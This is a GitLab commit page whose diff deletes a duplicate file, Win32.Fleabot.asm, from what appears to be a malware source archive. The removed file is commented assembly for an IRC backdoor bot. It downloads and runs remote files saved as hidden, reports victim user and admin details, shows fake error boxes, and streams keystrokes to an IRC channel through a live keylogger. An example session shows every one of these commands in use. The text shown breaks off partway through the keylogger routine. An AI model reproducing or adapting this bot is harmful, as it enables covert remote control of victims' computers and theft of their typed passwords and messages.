Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
MalwareSourceCode
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Build
Pipelines
Jobs
Pipeline schedules
Artifacts
Deploy
Releases
Package Registry
Container Registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Issue analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
backup
MalwareSourceCode
Commits
947d94e9
Unverified
Commit
947d94e9
authored
4 years ago
by
vxunderground
Committed by
GitHub
4 years ago
Browse files
Options
Downloads
Patches
Plain Diff
Delete Win32.Fleabot.asm
dup
parent
7eaec4c5
No related branches found
Branches containing commit
No related tags found
No related merge requests found
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
Win32/Win32.Fleabot.asm
+0
-1192
0 additions, 1192 deletions
Win32/Win32.Fleabot.asm
with
0 additions
and
1192 deletions
Win32/Win32.Fleabot.asm
deleted
100644 → 0
+
0
−
1192
View file @
7eaec4c5
;Win32.Fleabot by DiA/RRLF
;DiA_hates_machine@gmx.de
;http://www.vx-dia.de.vu/
;
;Description:
; This is a small and simple IRC bot coded in assembler (use FASM to assemble). I
; wanted to write a small tutorial along with this source, but I am lazy dude ;).
; But don't cry, the code is very well commented and easy to understand. The bot
; has 12 commands, wich you can see in the example session. For greets and fucks
; use my guestbook at vx-dia.de.vu or drop me some mail to DiA_hates_machine@gmx.de
; Now have fun with this little code, assembled just 8kb baby.
;
;------- example session start------------------------------------------------------
;[10:52] * Now talking in #test
;[10:53] <DiAbolicx> ^^raw mode #test +o DiAbolicx
;[10:53] <workwqbz> bot is locked, use unlock <password>
;[10:53] <DiAbolicx> ^^unlock test
;[10:53] <workwqbz> bot now unlocked
;[10:53] <DiAbolicx> ^^raw mode #test +o DiAbolicx
;[10:53] * workwqbz sets mode: +o DiAbolicx
;[10:53] <DiAbolicx> ^^cmds
;[10:53] <workwqbz> unlock <password> - unlock the bot
;[10:53] <workwqbz> lock - lock the bot
;[10:53] <workwqbz> raw <irc command> - send irc command to server
;[10:53] <workwqbz> dl <http url> | <save as path> - download file from http
;[10:53] <workwqbz> exec <path> - execute a application
;[10:53] <workwqbz> msgbox <title> | <message> - show fake error message
;[10:53] <workwqbz> info - get username, system directory and is admin
;[10:53] <workwqbz> livelog - start logging keys and send it to channel
;[10:53] <workwqbz> stoplog - stop logging keys
;[10:53] <workwqbz> cmds - show available commands
;[10:53] <workwqbz> version - show bot version
;[10:53] <workwqbz> quit - quit bot
;[10:53] <DiAbolicx> ^^raw privmsg #test :yes, i am here
;[10:53] <workwqbz> yes, i am here
;[10:56] <DiAbolicx> ^^dl http://127.0.0.1/calc.exe | D:\calcx.exe
;[10:56] <workwqbz> download successful
;[10:56] <DiAbolicx> ^^exec D:\calcx.exe
;[10:57] <workwqbz> successful executed
;[10:57] <DiAbolicx> ^^msgbox Fleabot | Test message, dude
;[10:57] <workwqbz> message box closed by user
;[10:57] <DiAbolicx> ^^info
;[10:57] <workwqbz> Username: Work, System directory: C:\WINDOWS\system32, Admin: No
;[10:58] <DiAbolicx> ^^version
;[10:58] <workwqbz> Fleabot - a example IRC bot in asm
;[10:58] <DiAbolicx> ^^livelog
;[10:58] <workwqbz> live keylogging thread created
;[10:58] <workwqbz> {crlf}THIS IS A TEST I TYPE THIS IN MY EDITOR AND
;[10:58] <workwqbz> KEYS ARE REDIRECTED TO THE PREDEFINED IRC CHANNEL{crlf}
;[10:58] <DiAbolicx> ^^stoplog
;[10:58] <workwqbz> keylogging thread terminated
;[10:59] <DiAbolicx> ^^quit
;[10:59] * workwqbz (~workwqbz@dianet.org) Quit (workwqbz)
;------- example session end--------------------------------------------------------
include
"
%
fasminc
%
\
win32ax.inc
"
;equates, api's and macros making living easier
entry
Bot
;define code start
IRCServer
equ
"127.0.0.1"
,
0
;to this server we want to connect
IRCPort
equ
6667
d
;connect using this port
Channel
equ
"#test"
,
0
;channel name
ChannelPassword
equ
"test"
,
0
;the channel password
CommandPrefix
equ
"^^"
;what indicate commands
BotPassword
equ
"test"
,
0
;bot password
CRLF
equ
10
d
,
13
d
;break
section
'.data'
data
readable
writeable
;here our datas will be stored
Version
db
"
Fleabot
-
a
example
IRC
bot
in
asm
"
,
0
;identify bot version
IsLocked
db
0
d
;to check if bot is locked or not
WSAData
WSADATA
;used by WSAStartup, cleanup
SocketDesc
dd
?
;socket descriptor is stored here
SockAddr
dw
AF_INET
;our sockaddr_in structure
SockAddr_Port
dw
?
;here we save the port
SockAddr_IP
dd
?
;here we save the ip
SockAddr_Zero
rb
8
d
;unused
RandomString
rb
5
d
;here we save a random string (a - z) for the nick
Username
rb
36
d
;here we store the user name for nick generation
UsernameSize
dd
36
d
;size of the buffer
Nickname
rb
9
d
;buffer for nickname
SendBuffer
rb
512
d
;the buffer where we store bytes to send
ReturnBuffer
rb
512
d
;the buffer where we story things to receive
Byte
Buffer
rb
2
d
;for the RecvLine procedure
Pong
db
"PONG "
;prefix pong message
PongBuffer
rb
16
d
;buffer for the pong message
CommandBuffer
rb
128
d
;buffer to store command and parameters
Parameter1
rb
128
d
;buffer for parameter 1
Parameter2
rb
128
d
;buffer for parameter 2
InetHandle
dd
?
;handle for download command
UrlHandle
dd
?
;handle for download command
FileHandle
dd
?
;handle of open files
ReadNext
dd
?
;how much else to download
DownloadBuffer
rb
1024
d
;downoad kb for kb
Byte
sWritten
dd
?
;for writefile
StartupInfo
STARTUPINFO
;for create process
ProcessInfo
PROCESS_INFORMATION
;for create process
SystemDir
rb
256
d
;buffer for system dir
ThreadId
dd
?
;for creating live keylog thread
ThreadHandle
dd
?
;store handle for thread
ThreadExitCode
dd
?
;for terminating thread
KeylogBuffer
rb
60
d
;buffer for key strokes
section
'.code'
code
readable
executable
;code section
Bot:
;lets start
invoke
WSAStartup
,
\
;initiates sockets DLL
0101
h
,
\
;use version 1.1
WSAData
;pointer to wsadata strcuture
cmp
eax
,
0
;successful?
jne
Exit
;if not exit bot
invoke
socket
,
\
;create a socket
AF_INET
,
\
;family
SOCK_STREAM
,
\
;two way connection
0
;no particular protocol
cmp
eax
,
-
1
;successful?
je
Exit
;if not exit
mov
dword
[
SocketDesc
],
eax
;save socket descriptor
invoke
inet_addr
,
\
;covert ip string to dword
IRCServer
;the ip as string
mov
dword
[
SockAddr_IP
],
eax
;save ip in sockaddr structure
invoke
htons
,
\
;convert port to the network byte order
IRCPort
;the port
mov
word
[
SockAddr_Port
],
ax
;save it in the structure
invoke
connect
,
\
;now connect to server
dword
[
SocketDesc
],
\
;the socket descriptor
SockAddr
,
\
;pointer to the sockaddr structure
16
d
;size of this structure
cmp
eax
,
0
;successful?
jne
Exit
;if not exit
call
GenerateNickname
;generate the nickname
invoke
lstrcpy
,
\
;copy NICK to send buffer
SendBuffer
,
\
;pointer
"
NICK
"
;nick command
invoke
lstrcat
,
\
;append the nickname
SendBuffer
,
\
;to this
Nickname
;from this
call
SendLine
;send buffer to irc server
invoke
lstrcpy
,
\
;copy USER to send buffer
SendBuffer
,
\
;to this
"
USER
"
;from this
invoke
lstrcat
,
\
;append the nickname
SendBuffer
,
\
;to this
Nickname
;from this
invoke
lstrcat
,
\
;append usermode
SendBuffer
,
\
;to this
"
8
*
:
"
;usermode
invoke
lstrcat
,
\
;append nickname for user message
SendBuffer
,
\
;to this
Nickname
;from this
call
SendLine
;send buffer to server
GetMotd:
;we can join when "MOTD" message is over
call
RecvLine
;get a line from server
call
HandlePing
;handle ping
mov
ecx
,
0
;clear counter
IsMotd:
;check for "MOTD"
cmp
dword
[
ReturnBuffer
+
ecx
],
"MOTD"
;is there "MOTD"?
je
HaveMotd
;then we can join
cmp
byte
[
ReturnBuffer
+
ecx
],
0
d
;end of buffer?
je
GetMotd
;check next line
inc
ecx
;ecx + 1
jmp
IsMotd
;check next position
HaveMotd:
;now we can join
invoke
lstrcpy
,
\
;copy JOIN to buffer
SendBuffer
,
\
;pointer
"
JOIN
"
;join command
invoke
lstrcat
,
\
;append the channel
SendBuffer
,
\
;pointer
Channel
;channel name
invoke
lstrcat
,
\
;append a space
SendBuffer
,
\
;pointer
"
"
;space
invoke
lstrcat
,
\
;append the channel password
SendBuffer
,
\
;pointer
ChannelPassword
;pass
call
SendLine
;send to server
invoke
lstrcpy
,
\
;copy MODE to buffer
SendBuffer
,
\
;pointer
"
MODE
"
;to set key
invoke
lstrcat
,
\
;append channel
SendBuffer
,
\
;pointer
Channel
;channel name
invoke
lstrcat
,
\
;append key mode and secret
SendBuffer
,
\
;buffer
"
+
nsk
"
;no external message, secret, key
invoke
lstrcat
,
\
;append the password aka key
SendBuffer
,
\
;pointer
ChannelPassword
;the pass
call
SendLine
;send it to irc server
RecvCommand:
;check if received line include a command
call
RecvLine
;get a line
call
HandlePing
;handle ping if it is
mov
ecx
,
0
;set counter to zero
IsCommand:
;check if command
cmp
word
[
ReturnBuffer
+
ecx
],
CommandPrefix
;is command prefix?
je
HaveCommand
;then extract command
cmp
byte
[
ReturnBuffer
+
ecx
],
0
;is end of line?
je
RecvCommand
;then wait for next
inc
ecx
;increase counter by one
jmp
IsCommand
;check next position
HaveCommand:
;extract command
mov
ebx
,
ReturnBuffer
;pointer to buffer
add
ebx
,
ecx
;add counter
add
ebx
,
2
d
;add length of command prefix
invoke
lstrcpy
,
\
;add to command buffer
CommandBuffer
,
\
;pointer
ebx
;points to command position
call
ExecuteCommand
;execute command
jmp
RecvCommand
;next command
Exit:
invoke
WSACleanup
;cleanup the wsa
invoke
ExitProcess
,
\
;exit program
0
;exit code
SendLine:
;this procedure sends a line to the irc server
invoke
lstrcat
,
\
;append crlf to the send buffer
SendBuffer
,
\
;buffer
CRLF
;10d, 13d
invoke
lstrlen
,
\
;get length of buffer
SendBuffer
;buffer
invoke
send
,
\
;send this line
dword
[
SocketDesc
],
\
;socket descriptor
SendBuffer
,
\
;send this
eax
,
\
;length of buffer
0
;no flags
cmp
eax
,
-
1
;succeddful?
je
Exit
;if not exit
ret
;return to call
RecvLine:
;this procedure receive a line from server
mov
dword
[
ReturnBuffer
],
0
;clear the buffer
GetLine:
;recv until crlf
invoke
recv
,
\
;receive a byte
dword
[
SocketDesc
],
\
;socket descriptor
Byte
Buffer
,
\
;1 byte buffer
1
d
,
\
;get just one byte
0
;no flags
cmp
eax
,
0
;error?
je
Exit
;if so, exit
cmp
byte
[
Byte
Buffer
],
10
d
;arrived crlf?
je
HaveLine
;then return
invoke
lstrcat
,
\
;append byte to buffer
ReturnBuffer
,
\
;pointer
Byte
Buffer
;the byte
jmp
GetLine
;receive next byte
HaveLine:
;we have a line and can..
ret
;...return
GenerateNickname:
;this procedure generates a random nick
mov
ecx
,
0
;clear counter
GetByte:
;get a single byte
invoke
GetTickCount
;get the run time
cmp
al
,
97
d
;after "a"
jnb
Ch
eckBelow
;if so, check if its before "z"
jmp
Sleep33
;sleep 33 ms
CheckBelow:
cmp
al
,
122
d
;before "z"
jna
HaveByte
;then save byte
jmp
Sleep33
;sleep 33 ms
HaveByte:
;save a byte
mov
byte
[
RandomString
+
ecx
],
al
;save byte at the position
inc
ecx
;ecx + 1
cmp
ecx
,
4
d
;got 4 bytes?
je
GenerateIt
;now generate it
Sleep33:
;sleep 33ms and try again to get a byte a - z
push
ecx
;push counter
invoke
Sleep
,
\
;sleep
33
d
;33ms
pop
ecx
;restore counter
jmp
GetByte
;try to get a byte a -z
GenerateIt:
;have random string, now create nick
invoke
GetUserName
,
\
;get the logged on user name
Username
,
\
;pointer to buffer
UsernameSize
;size of buffer
cmp
eax
,
0
;successful?
jne
ExtractUserName
;if so jump there
mov
dword
[
Username
],
"rrlf"
;no user name got, fill it with text anyways
ExtractUserName:
;get 4 bytes from the user name
mov
byte
[
Username
+
4
d
],
0
;set string end at 5th position
invoke
lstrcpy
,
\
;copy username to nick buffer
Nickname
,
\
;pointer to buffer
Username
;pointer to buffer
invoke
lstrcat
,
\
;append random string
Nickname
,
\
;to this
RandomString
;from this
invoke
Ch
arLowerBuff
,
\
;now mae nick to lower
Nickname
,
\
;the nick
8
d
;length
ret
;return to call
HandlePing:
;this procedure handle ping and pong
cmp
dword
[
ReturnBuffer
],
"PING"
;is a ping?
jne
NoPing
;if not return
invoke
lstrcpy
,
\
;copy ping message to buffer
PongBuffer
,
\
;to this
ReturnBuffer
+
6
d
;sendbuffer + "PING "
invoke
lstrcpy
,
\
;copy PONG message to sendbuffer
SendBuffer
,
\
;buffer
Pong
;pong message
call
SendLine
;send pong
NoPing:
;its not a ping
ret
;return
SendPrivmsg:
;send a message to channel
invoke
lstrcpy
,
\
;copy PRIVMSG to send buffer
SendBuffer
,
\
;pointer
"
PRIVMSG
"
;irc command
invoke
lstrcat
,
\
;append channel
SendBuffer
,
\
;pointer
Channel
;the chan
invoke
lstrcat
,
\
;append space
SendBuffer
,
\
;pointer
"
:
"
;sepertor
invoke
lstrcat
,
\
;append message
SendBuffer
,
\
;pointer
ReturnBuffer
;pointer
call
SendLine
;send to server
ret
;return
ExecuteCommand:
;execute received command
cmp
dword
[
CommandBuffer
],
"
unlo
"
;is unlock command?
je
CmdUnlock
;execute it
cmp
byte
[
IsLocked
],
0
;is bot locked?
je
BotLocked
;jmp there
cmp
dword
[
CommandBuffer
],
"cmds"
;is commands command?
je
CmdCmds
;then show commands
cmp
dword
[
CommandBuffer
],
"lock"
;is lock command?
je
CmdLock
;lock it then
cmp
dword
[
CommandBuffer
],
"quit"
;is quit command?
je
CmdQuit
;quit from irc, exit
cmp
dword
[
CommandBuffer
],
"raw "
;is raw command?
je
CmdRaw
;execute raw irc command
cmp
word
[
CommandBuffer
],
"dl"
;is download command?
je
CmdDl
;download file from http
cmp
dword
[
CommandBuffer
],
"exec"
;is execute command?
je
CmdExec
;then execute application
cmp
dword
[
CommandBuffer
],
"vers"
;is version command?
je
CmdVersion
;show it then
cmp
dword
[
CommandBuffer
],
"msgb"
;is msgbox command?
je
CmdMsgbox
;show it then
cmp
dword
[
CommandBuffer
],
"
info
"
;is info command?
je
CmdInfo
;then show informations about victim
cmp
dword
[
CommandBuffer
],
"live"
;is livelog command?
je
CmdLivelog
;log it then
cmp
dword
[
CommandBuffer
],
"stop"
;is stoplog command?
je
CmdStoplog
;stop it then
invoke
lstrcpy
,
\
;unknown command
ReturnBuffer
,
\
;pointer
"
unknown
command
,
type
'cmds'
for
commands
"
;mesage
call
SendPrivmsg
;send to chan
jmp
ExecuteCommandReturn
;return
BotLocked:
invoke
lstrcpy
,
\
;copy locked message to return buffer
ReturnBuffer
,
\
;pointer
"
bot
is
locked
,
use
unlock
<
password
>
"
;message
call
SendPrivmsg
;send it
jmp
ExecuteCommandReturn
;return
CmdUnlock:
;unlock command
invoke
lstrlen
,
\
;get password len
BotPassword
;of this
inc
eax
;eax + 1
invoke
lstrcpyn
,
\
;copy password to parameter1 buffer
Parameter1
,
\
;pointer
CommandBuffer
+
7
d
,
\
;skip "unlock "
eax
;dont copy the crlf
invoke
lstrcmp
,
\
;compare password
BotPassword
,
\
;password
Parameter1
;received password
cmp
eax
,
0
;right pass?
jne
WrongPassword
;if not send back wrong pass
mov
byte
[
IsLocked
],
1
d
;set unlock code
invoke
lstrcpy
,
\
;tell user bot is unlocked
ReturnBuffer
,
\
;buffer
"
bot
now
unlocked
"
;message
call
SendPrivmsg
;send to channel
jmp
ExecuteCommandReturn
;return
WrongPassword:
invoke
lstrcpy
,
\
;copy wrong pass message
ReturnBuffer
,
\
;pointer
"
wrong
password
"
;message
call
SendPrivmsg
;send to chan
jmp
ExecuteCommandReturn
;return
CmdCmds:
;show all comands
invoke
lstrcpy
,
\
;copy unlock command
ReturnBuffer
,
\
;pointer to buffer
"
unlock
<
password
>
-
unlock
the
bot
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
invoke
lstrcpy
,
\
;copy lock command
ReturnBuffer
,
\
;pointer to buffer
"
lock
-
lock
the
bot
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
invoke
lstrcpy
,
\
;copy raw command
ReturnBuffer
,
\
;pointer to buffer
"
raw
<
irc
command
>
-
send
irc
command
to
server
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
invoke
lstrcpy
,
\
;copy dl command
ReturnBuffer
,
\
;pointer to buffer
"
dl
<
http
url
>
|
<
save
as
path
>
-
download
file
from
http
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
invoke
lstrcpy
,
\
;copy exec command
ReturnBuffer
,
\
;pointer to buffer
"
exec
<
path
>
-
execute
a
application
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
invoke
lstrcpy
,
\
;copy msgbox command
ReturnBuffer
,
\
;pointer to buffer
"
msgbox
<
title
>
|
<
message
>
-
show
fake
error
message
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
invoke
lstrcpy
,
\
;copy info command
ReturnBuffer
,
\
;pointer to buffer
"
info
-
get
username
,
system
di
rectory
and
is
admin
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
invoke
lstrcpy
,
\
;copy livelog command
ReturnBuffer
,
\
;pointer to buffer
"
livelog
-
start
logging
keys
and
send
it
to
ch
annel
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
invoke
lstrcpy
,
\
;copy stoplog command
ReturnBuffer
,
\
;pointer to buffer
"
stoplog
-
stop
logging
keys
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
invoke
lstrcpy
,
\
;copy cmds command
ReturnBuffer
,
\
;pointer to buffer
"
cmds
-
show
available
commands
"
;message
call
SendPrivmsg
;send it to channel
invoke
lstrcpy
,
\
;copy version command
ReturnBuffer
,
\
;pointer to buffer
"
version
-
show
bot
version
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
invoke
lstrcpy
,
\
;copy quit command
ReturnBuffer
,
\
;pointer to buffer
"
quit
-
quit
bot
"
;message
call
SendPrivmsg
;send it to channel
invoke
Sleep
,
\
;sleep a second
1000
d
;1 sec
jmp
ExecuteCommandReturn
;return
CmdLock:
;lock command
mov
byte
[
IsLocked
],
0
;set it as locked
invoke
lstrcpy
,
\
;return message
ReturnBuffer
,
\
;buffer
"
bot
now
locked
"
;message
call
SendPrivmsg
;send it
jmp
ExecuteCommandReturn
;and return
CmdQuit:
;quit bot
invoke
lstrcpy
,
\
;copy QUIT to buffer
SendBuffer
,
\
;pointer
"
QUIT
"
;quit command
call
SendLine
;send it
invoke
Sleep
,
\
;sleep
2000
d
;2 seconds
jmp
Exit
;exit bot
CmdRaw:
;send raw command to irc server
invoke
lstrcpy
,
\
;copy command to buffer
SendBuffer
,
\
;buffer
CommandBuffer
+
4
;skip "raw "
call
SendLine
;send it
jmp
ExecuteCommandReturn
;return
CmdDl:
;download file via http
call
ExtractParameters
;get the two parameters
invoke
InternetOpen
,
\
;initialise wininet
Parameter1
,
\
;use url as agent, not necessary
0
,
\
;get configs from registry (INTERNET_OPEN_TYPE_PRECONFIG)
0
,
\
;no proxy
0
,
\
;also no bypass
0
;no flags
cmp
eax
,
0
;error?
je
DownloadFileError
;if so jump to error
mov
dword
[
InetHandle
],
eax
;save handle
invoke
InternetOpenUrl
,
\
;open the http url
dword
[
InetHandle
],
\
;handle from internetopen
Parameter1
+
3
,
\
;pointer to the url, pass "dl "
0
,
\
;no need for headers
0
,
\
;so are the length
0
,
\
;no specific flags
0
;no context needed
cmp
eax
,
0
;error?
je
DownloadFileError
;then show error
mov
dword
[
UrlHandle
],
eax
;save handle
invoke
CreateFile
,
\
;create the file for writing
Parameter2
,
\
;pointer to filename
GENERIC_WRITE
,
\
;we just want to write
FILE_SHARE_WRITE
,
\
;write it
0
,
\
;security attributes, nohh
CREATE_NEW
,
\
;fail if file exist
FILE_ATTRIBUTE_HIDDEN
,
\
;make it as hidden
0
;no template file
cmp
eax
,
0
;error?
je
DownloadFileError
;send error back
mov
dword
[
FileHandle
],
eax
;save handle
inc
dword
[
ReadNext
]
;increase readnext by one
ReadNextBytes:
;read bytes by bytes
cmp
dword
[
ReadNext
],
0
;no more to read
je
DownloadComplete
;then download complete
invoke
InternetReadFile
,
\
;read from the open url
dword
[
UrlHandle
],
\
;open handle
DownloadBuffer
,
\
;pointer to buffer
1024
d
,
\
;bytes to read, kbyte by kbyte
ReadNext
;how much bytes readed?
invoke
WriteFile
,
\
;write bytes to file
dword
[
FileHandle
],
\
;open handle
DownloadBuffer
,
\
;point to downloaded bytes
dword
[
ReadNext
],
\
;write that much bytes
Byte
sWritten
,
\
;how much bytes are written
0
;no overlapped
jmp
ReadNextBytes
;process next bytes
DownloadComplete:
;download is complete
invoke
Cl
oseHandle
,
\
;close file
dword
[
FileHandle
]
;via handle
invoke
InternetCloseHandle
,
\
;close inet
dword
[
UrlHandle
]
;via handle
invoke
InternetCloseHandle
,
\
;again
dword
[
InetHandle
]
;via handle
invoke
lstrcpy
,
\
;copy success message
ReturnBuffer
,
\
;to return buffer
"
download
successful
"
;message
call
SendPrivmsg
;send to channel
jmp
ExecuteCommandReturn
;return
DownloadFileError:
invoke
lstrcpy
,
\
;copy fail message
ReturnBuffer
,
\
;to return buffer
"
download
failed
"
;message
call
SendPrivmsg
;send to channel
jmp
ExecuteCommandReturn
;return
CmdExec:
;execute a file
invoke
lstrlen
,
\
;get length of buffer
CommandBuffer
;of this
mov
byte
[
CommandBuffer
+
eax
-
1
],
0
;clear the crlf
invoke
CreateProcess
,
\
;via create process
CommandBuffer
+
5
d
,
\
;application, skip "exec "
CommandBuffer
+
5
d
,
\
;user
0
,
\
;no process attributes
0
,
\
;no thread attributes
0
,
\
;no inerhits
CREATE_NEW_CONSOLE
,
\
;own process
0
,
\
;no environment
0
,
\
;nor current directory
StartupInfo
,
\
;startup structure
ProcessInfo
;process structure
cmp
eax
,
0
;error?
je
ExecError
;show it then
invoke
lstrcpy
,
\
;copy message
ReturnBuffer
,
\
;to this
"
successful
executed
"
;yehaw
call
SendPrivmsg
;send to chan
jmp
ExecuteCommandReturn
;return
ExecError:
;error occured
invoke
lstrcpy
,
\
;copy message
ReturnBuffer
,
\
;to this
"
execution
failed
"
;damn
call
SendPrivmsg
;send to chan
jmp
ExecuteCommandReturn
;return
CmdVersion:
;show bot version
invoke
lstrcpy
,
\
;copy version to buffer
ReturnBuffer
,
\
;pointer
Version
;from version
call
SendPrivmsg
;send to channel
jmp
ExecuteCommandReturn
;return
CmdMsgbox:
;show a error message box
call
ExtractParameters
;get two parameters
invoke
MessageBox
,
\
;show messagbox, local
0
,
\
;no owner
Parameter2
,
\
;Text
Parameter1
+
7
d
,
\
;title, skip "msgbox "
MB_ICONERROR
;error style
invoke
lstrcpy
,
\
;copy message
ReturnBuffer
,
\
;pointer
"
message
box
cl
osed
by
user
"
;message
call
SendPrivmsg
;send to channe
jmp
ExecuteCommandReturn
;return
CmdInfo:
;show informations
invoke
lstrcpy
,
\
;copy "Username" to buffer
ReturnBuffer
,
\
;pointer
"
Username:
"
;msg
invoke
GetUserName
,
\
;get user name
Username
,
\
;buffer
UsernameSize
;size
invoke
lstrcat
,
\
;copy username
ReturnBuffer
,
\
;buffer
Username
;pointer
invoke
lstrcat
,
\
;copy "sysdir"
ReturnBuffer
,
\
;to buffer
"
,
System
di
rectory
:
"
;msg
invoke
GetSystemDirectory
,
\
;get sys dir to test
SystemDir
,
\
;buffer
256
d
;size
invoke
lstrcat
,
\
;copy to buffer
ReturnBuffer
,
\
;to buffer
SystemDir
;from here
invoke
lstrcat
,
\
;append "admin"
ReturnBuffer
,
\
;buffer
"
,
Admin:
"
invoke
lstrcat
,
\
;append filename to system dir
SystemDir
,
\
;to buffer
"
DiA.RRLF
"
;filename ;)
invoke
CreateFile
,
\
;try to create this file
SystemDir
,
\
;file in system directory
GENERIC_WRITE
,
\
;check write
FILE_SHARE_WRITE
,
\
;yeh
0
,
\
;no security attributes
CREATE_ALWAYS
,
\
;overwrite if exist
FILE_ATTRIBUTE_HIDDEN
,
\
;as hidden
0
;no template file
cmp
eax
,
-
1
;error?
je
NoAdmin
;then user is no admin
invoke
lstrcat
,
\
;copy "yes"
ReturnBuffer
,
\
;to buffer
"
Yes
"
;message
call
SendPrivmsg
;send to channel
jmp
ExecuteCommandReturn
;and return
NoAdmin:
;user is no admin
invoke
lstrcat
,
\
;copy "no"
ReturnBuffer
,
\
;to buffer
"
No
"
;message
call
SendPrivmsg
;send to channel
jmp
ExecuteCommandReturn
;and return
CmdLivelog:
;create a thread for live keylogging
invoke
CreateThread
,
\
;create the keylog thread
0
,
\
;no security attributes
0
,
\
;default stack size
LiveKeylog
,
\
;procedure start
0
,
\
;no parameters
0
,
\
;start right now
ThreadId
;store here the thread id
cmp
eax
,
0
;error?
je
ThreadError
;then jump there
mov
dword
[
ThreadHandle
],
eax
;store thread handle
invoke
lstrcpy
,
\
;copy success message
ReturnBuffer
,
\
;to the buffer
"
live
keylogging
thread
created
"
;yehaw
call
SendPrivmsg
;send to channel
jmp
ExecuteCommandReturn
;ret
ThreadError:
invoke
lstrcpy
,
\
;copy error message
ReturnBuffer
,
\
;to this
"
error
on
creating
live
keylogging
thread
"
;buh
call
SendPrivmsg
;send it
jmp
ExecuteCommandReturn
;return
CmdStoplog:
;stop keylogging thread
invoke
GetExitCodeThread
,
\
;get exit code to terminate thread
dword
[
ThreadHandle
],
\
;thread handle
ThreadExitCode
;store it here
invoke
TerminateThread
,
\
;exit it now
dword
[
ThreadHandle
],
\
;handle
dword
[
ThreadExitCode
]
;with this
cmp
eax
,
0
;error?
je
ExitThreadError
;show it then
mov
dword
[
ThreadId
],
0
;clear id
mov
dword
[
ThreadHandle
],
0
;clear handle
mov
dword
[
ThreadExitCode
],
0
;clear exit code
invoke
lstrcpy
,
\
;copy sucess message
ReturnBuffer
,
\
;to buffer
"
keylogging
thread
terminated
"
;msg
call
SendPrivmsg
;send it
jmp
ExecuteCommandReturn
;ret
ExitThreadError:
;arghh, maybe not exist
invoke
lstrcpy
,
\
;copy error message
ReturnBuffer
,
\
;to buffer
"
error
terminating
keylogging
thread
"
;msg
call
SendPrivmsg
;send it
jmp
ExecuteCommandReturn
;ret
ExecuteCommandReturn:
;return
ret
;return to call
ExtractParameters:
;this procedure extracts two parameter from a cmd
mov
edx
,
CommandBuffer
;pointer to buffer
mov
ecx
,
0
;zero counter
FindCut:
;get the "|" cur
cmp
byte
[
edx
+
ecx
],
"|"
;is byte at position a "|"?
je
HaveCut
;then extract it
inc
ecx
;counter + 1
jmp
FindCut
;scan next position
HaveCut:
;have cut, extract it
add
edx
,
ecx
;add counter to start of buffer
mov
byte
[
edx
-
1
],
0
;zero the "|"
add
edx
,
2
d
;skip space
invoke
lstrcpy
,
\
;copy parameter2
Parameter2
,
\
;destination
edx
;source
invoke
lstrlen
,
\
;get length to erase crlf
Parameter2
;of buffer
mov
byte
[
Parameter2
+
eax
-
1
],
0
;erase crlf
invoke
lstrcpy
,
\
;copy parameter1
Parameter1
,
\
;buffer
CommandBuffer
;source
ret
;return to call
LiveKeylog:
;this procedure logs keys and send it to channel
invoke
lstrlen
,
\
;get legth of buffer
KeylogBuffer
;key strokes buffer
cmp
eax
,
50
d
;is over 50 characters?
jae
SendKeyLine
;then send it to channel
mov
ebx
,
0
;set counter to zero (just use ebx because api dont change it
NextKey:
;try if next key is pressed
cmp
ebx
,
255
d
;end of possible keys?
je
LiveKeylog
;the try from start again
invoke
GetAsyncKeyState
,
\
;get status of this key
ebx
;in ebx (0 - 255)
cmp
eax
,
-
32767
d
;is pressed?
jne
ScanNextKey
;if not check next possible key
cmp
ebx
,
20h
;VK_SPACE
je
IsSpace
;if it is this key, jump there
cmp
ebx
,
8h
;VK_BACK
je
IsBack
;if it is this key, jump there
cmp
ebx
,
9h
;VK_TAB
je
IsTab
;if it is this key, jump there
cmp
ebx
,
60h
;VK_NUMPAD0
je
IsNumpad0
;if it is this key, jump there
cmp
ebx
,
61h
;VK_NUMPAD1
je
IsNumpad1
;if it is this key, jump there
cmp
ebx
,
62h
;VK_NUMPAD2
je
IsNumpad2
;if it is this key, jump there
cmp
ebx
,
63h
;VK_NUMPAD3
je
IsNumpad3
;if it is this key, jump there
cmp
ebx
,
64h
;VK_NUMPAD4
je
IsNumpad4
;if it is this key, jump there
cmp
ebx
,
65h
;VK_NUMPAD5
je
IsNumpad5
;if it is this key, jump there
cmp
ebx
,
66h
;VK_NUMPAD6
je
IsNumpad6
;if it is this key, jump there
cmp
ebx
,
67h
;VK_NUMPAD7
je
IsNumpad7
;if it is this key, jump there
cmp
ebx
,
68h
;VK_NUMPAD8
je
IsNumpad8
;if it is this key, jump there
cmp
ebx
,
69h
;VK_NUMPAD9
je
IsNumpad9
;if it is this key, jump there
cmp
ebx
,
0Dh
;VK_RETURN
je
IsReturn
;if it is this key, jump there
cmp
ebx
,
30h
;VK_0
jae
Ch
eckIsKey
;if its above "1" its possible key
ScanNextKey:
;check next key if its pressed
inc
ebx
;increase counter by one
jmp
NextKey
;check it baby
CheckIsKey:
cmp
ebx
,
5Ah
;VK_Z
jbe
IsKey
